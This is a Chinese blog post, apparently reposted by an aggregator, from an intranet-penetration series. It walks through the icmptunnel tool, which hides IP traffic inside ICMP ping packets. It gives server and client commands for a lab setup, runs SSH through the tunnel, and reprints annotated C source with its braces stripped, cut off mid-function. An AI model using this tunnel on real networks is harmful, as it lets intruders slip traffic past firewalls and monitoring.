内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)相关的知识,希望对你有一定的参考价值。

目录

前言

本文研究ICMP隧道的一个工具,DhavalKapil师傅的icmptunnel

github:https://github.com/DhavalKapil/icmptunnel

一、概述

1、简介

最后更新于2017年,用C语言编写,创建虚拟网卡通过ICMP协议传输IP流量

条件:

  • 目标机(客户端)需要root权限
  • 目标机(客户端)可以ping攻击机(服务端)
  • 只能在linux环境下使用

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

流量发送方式:

  • 目标机(客户端)将IP流量封装在ICMP的echo包里发送给攻击者(服务端)
  • 攻击者(服务端)将IP流量封装在ICMP的reply包里发送给目标机(客户端)
  • 这两种ICMP数据包参见RFC792

架构:

3、使用

两端都要编译:

make

攻击机(服务端)建立虚拟网卡并分配IP

[sudo] ./icmptunnel -s 10.0.1.1

目标机(客户端)修改client.sh并启动隧道

[sudo] ./icmptunnel -c <server>

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)编译

make编译

make

目标机


攻击机

(2)服务端监听

先查看route

route -n


建立隧道

./icmptunnel -s 10.0.1.1


此时再次查看路由

多了个tun0的虚拟网卡

(3)客户端启动

查看路由


修改client.sh

建立连接

./icmptunnel -c 192.168.10.128


此时再次查看路由


可以看到也是多了个tun0,连接建立成功

(4)ssh

然后就可以ssh连接了

3、抓包看看

虚拟网卡tun0


网卡eth0


可以看到所有TCP流量都被装进了ICMP流量中

三、探索

1、源码与分析

(1)icmp.c

/**
 *  icmp.c 搞定ICMP的packet
 */

#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len);

/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);

/**
 * Function to set packet type as ECHO
 */
void set_echo_type(struct icmp_packet *packet)

  packet->type = ICMP_ECHO;


/**
 * Function to set packet type as REPLY
 */
void set_reply_type(struct icmp_packet *packet)

  packet->type = ICMP_ECHOREPLY;


/**
 * Function to open a socket for icmp
 */
// 初始化一个socket,事实上大多数隧道还是用了socket
int open_icmp_socket()

  int sock_fd, on = 1;

  sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

  if (sock_fd == -1) 
    perror("Unable to open ICMP socket\\n");
    exit(EXIT_FAILURE);
  
  
  // Providing IP Headers
  if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) 
    perror("Unable to set IP_HDRINCL socket option\\n");
    exit(EXIT_FAILURE);
  

  return sock_fd;


/**
 * Function to bind the socket to INADDR_ANY
 */
// 绑定所有网卡,动静有点大的
void bind_icmp_socket(int sock_fd)

  struct sockaddr_in servaddr;

  // Initializing servaddr to bind to all interfaces
  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

  // binding the socket
  if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) 
    perror("Unable to bind\\n");
    exit(EXIT_FAILURE);
  


/**
 * Function to send ICMP Packet
 */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)

  // Source and destination IPs
  struct in_addr src_addr;
  struct in_addr dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  struct sockaddr_in servaddr;

  // IP的进制转换
  inet_pton(AF_INET, packet_details->src_addr, &src_addr);
  inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);

  packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
  packet = calloc(packet_size, sizeof(uint8_t));
  if (packet == NULL) 
    perror("No memory available\\n");
    close_icmp_socket(sock_fd);
    exit(EXIT_FAILURE);
  

  // Initializing header and payload pointers
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  prepare_headers(ip, icmp);

  ip->tot_len = htons(packet_size);
  ip->saddr = src_addr.s_addr;
  ip->daddr = dest_addr.s_addr;

  memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);

  icmp->type = packet_details->type;
  icmp->checksum = 0;
  icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);

  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = dest_addr.s_addr;

  // Sending the packet
  sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));

  free(packet);


/**
 * Function to receive an ICMP packet
 */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)

  struct sockaddr_in src_addr;
  //struct sockaddr_in dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  socklen_t src_addr_size;
  int enc_MTU; //encapsulated MTU

  enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);

  packet = calloc(enc_MTU, sizeof(uint8_t));
  if (packet == NULL) 
    perror("No memory available\\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  

  src_addr_size = sizeof(struct sockaddr_in);
  
  // Receiving packet
  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);

  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  // Filling up packet_details
  inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
  inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
  packet_details->type = icmp->type;
  packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
  packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
  if (packet_details->payload == NULL) 
    perror("No memory available\\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  

  memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);

  free(packet);


/**
 * Function to close the icmp socket
 */
void close_icmp_socket(int sock_fd)

  close(sock_fd);


/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len)

  int nleft = len;
  uint32_t sum = 0;
  uint16_t *w = addr;
  uint16_t answer = 0;

  // Adding 16 bits sequentially in sum
  while (nleft > 1) 
    sum += *w;
    nleft -= 2;
    w++;
  

  // If an odd byte is left
  if (nleft == 1) 
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return answer;


/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)

  ip->version = 4;
  ip->ihl = 5; //首部长度
  ip->tos = 0; //4bit优先度,ICMP设为0
  ip->id = rand();
  ip->frag_off = 0;
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;

  icmp->code = 0; // 0是echo
  icmp->un.echo.sequence = rand();
  icmp->un.echo.id = rand();
  icmp->checksum = 0;   


(2)test_client.c

// 测试客户端发送
#include "icmp.h"
#include <string.h>

int main()

  struct icmp_packet packet;
  char *src_ip;
  char *dest_ip;
  int sock_fd;

  src_ip = "127.0.0.2";
  dest_ip = "127.0.0.1";

  strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
  strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
  set_reply_type(&packet);
  packet.payload = "ZZZZZZ"; // 测试的内容,可以改为更具迷惑性的
  packet.payload_size = strlen(packet.payload);

  sock_fd = open_icmp_socket();

  send_icmp_packet(sock_fd, &packet);

  close_icmp_socket(sock_fd);


(3)test_server.c

// 测试服务端的接收

#include "icmp.h"

#include <stdio.h>
#include <string.h>
 
 
int main()

  struct icmp_packet packet;
  int sock_fd;
 
  sock_fd = open_icmp_socket();
  bind_icmp_socket(sock_fd);

  printf("server initialized\\n");
  while(1)
  
    receive_icmp_packet(sock_fd, &packet);
    printf("%s\\n", packet.src_addr);
    printf("%s\\n", packet.dest_addr);
    printf("%d\\n", packet.type);
    printf("%s\\n", packet.payload);
  
 
  close_icmp_socket(sock_fd);

(4)tunnel.c

/**
 *  tunnel.c 通过虚拟网卡建立tunnel,并通过socket读写
 */

#include "icmp.h"
#include "tunnel.h"

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>


#define DEFAULT_ROUTE   "0.0.0.0"

/**
 * Function to allocate a tunnel
 */
int tun_alloc(char *dev, int flags)

  struct ifreq ifr;
  int tun_fd, err;
  char *clonedev = "/dev/net/tun"; //虚拟网卡
  printf("[DEBUG] Allocating tunnel\\n");

  tun_fd = open(clonedev, O_RDWR);

  if(tun_fd == -1) 
    perror("Unable to open clone device\\n");
    exit(EXIT_FAILURE);
  
  
  memset(&ifr, 0, sizeof(ifr));

  ifr.ifr_flags = flags;

  if (*dev) 
    strncpy(ifr.ifr_name, dev, IFNAMSIZ);
  

  if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) 
    close(tun_fd);
    fprintf(stderr, "Error returned by ioctl(): %s\\n", strerror(err));
    perror("Error in tun_alloc()\\n");
    exit(EXIT_FAILURE);
  

  printf("[DEBUG] Allocatating tunne

以上是关于内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)的主要内容,如果未能解决你的问题,请参考以下文章

内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)

内网渗透系列:内网隧道之ICMP隧道

内网渗透系列:内网隧道之ICMP隧道

内网渗透系列:内网隧道之iox

内网渗透系列:内网隧道之pingtunnel

内网渗透系列:内网隧道之spp